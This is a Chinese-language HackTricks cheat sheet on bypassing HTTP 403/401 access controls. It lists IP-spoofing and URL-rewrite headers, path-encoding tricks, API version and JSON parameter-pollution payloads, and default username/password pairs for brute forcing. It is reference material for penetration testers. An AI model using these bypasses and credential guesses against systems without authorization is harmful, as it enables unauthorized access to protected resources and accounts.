403 & 401 Bypasses

支持 HackTricks

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,使用 20 多种工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取 shell 并享受乐趣。

HTTP 动词/方法模糊测试

尝试使用 不同的动词 访问文件:GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • 检查响应头,可能会提供一些信息。例如,HEAD 的 200 响应,带有 Content-Length: 55,意味着 HEAD 动词可以访问信息。但你仍然需要找到一种方法来提取该信息。

  • 使用 HTTP 头如 X-HTTP-Method-Override: PUT 可以覆盖所使用的动词。

  • 使用 TRACE 动词,如果你非常幸运,可能在响应中也能看到 中间代理添加的头,这可能会很有用。

HTTP 头模糊测试

  • 更改 Host 头 为某个任意值 (在这里有效)

  • 尝试 使用其他用户代理 访问资源。

  • 模糊测试 HTTP 头:尝试使用 HTTP 代理 、HTTP 基本身份验证和 NTLM 暴力破解(仅使用少量组合)及其他技术。为此,我创建了工具 fuzzhttpbypass

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

如果 路径受到保护,你可以尝试使用这些其他头来绕过路径保护:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • 如果页面在 代理后面,可能是代理阻止你访问私有信息。尝试利用 HTTP 请求走私 逐跳头.

  • 模糊测试 特殊 HTTP 头 寻找不同的响应。

  • 在模糊测试 HTTP 方法时模糊测试特殊 HTTP 头

  • 移除 Host 头,也许你将能够绕过保护。

路径 模糊测试

如果 /path 被阻止:

  • 尝试使用 /%2e/path _(如果访问被代理阻止,这可能绕过保护)。也尝试_** /%252e**/path(双重 URL 编码)

  • 尝试 Unicode 绕过/%ef%bc%8fpath(URL 编码字符类似于 "/"),因此当重新编码时将变为 //path,也许你已经绕过了 /path 名称检查

  • 其他路径绕过

  • site.com/secret –> HTTP 403 Forbidden

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • 在以下情况下使用 此列表

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • 其他 API 绕过:

  • /v3/users_data/1234 --> 403 Forbidden

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Unauthorized

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Unauthorized

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON 参数污染)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (参数污染)

参数操控

  • 更改 参数值:从 id=123 --> id=124

  • 向 URL 添加额外参数:?id=124 —-> id=124&isAdmin=true

  • 移除参数

  • 重新排序参数

  • 使用特殊字符。

  • 在参数中执行边界测试 — 提供值如 -234099999999(仅为一些示例值)。

协议版本

如果使用 HTTP/1.1 尝试使用 1.0,甚至测试是否 支持 2.0

其他绕过

  • 获取域的 IPCNAME 并尝试 直接联系 它。

  • 尝试 给服务器施加压力,发送常见的 GET 请求 (这对这个人和 Facebook 有效)。

  • 更改协议:从 http 到 https,或从 https 到 http

  • 访问 https://archive.org/web/ 并检查过去该文件是否 全球可访问

暴力破解

  • 猜测密码:测试以下常见凭据。你对受害者了解些什么?或者 CTF 挑战的名称?

  • 暴力破解: 尝试基本、摘要和 NTLM 身份验证。

常见凭据
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

自动工具

即时可用的漏洞评估和渗透测试设置。从任何地方运行完整的渗透测试,提供20多个工具和功能,从侦察到报告。我们不替代渗透测试人员 - 我们开发自定义工具、检测和利用模块,以便让他们有更多时间深入挖掘、获取shell并享受乐趣。

支持HackTricks

Last updated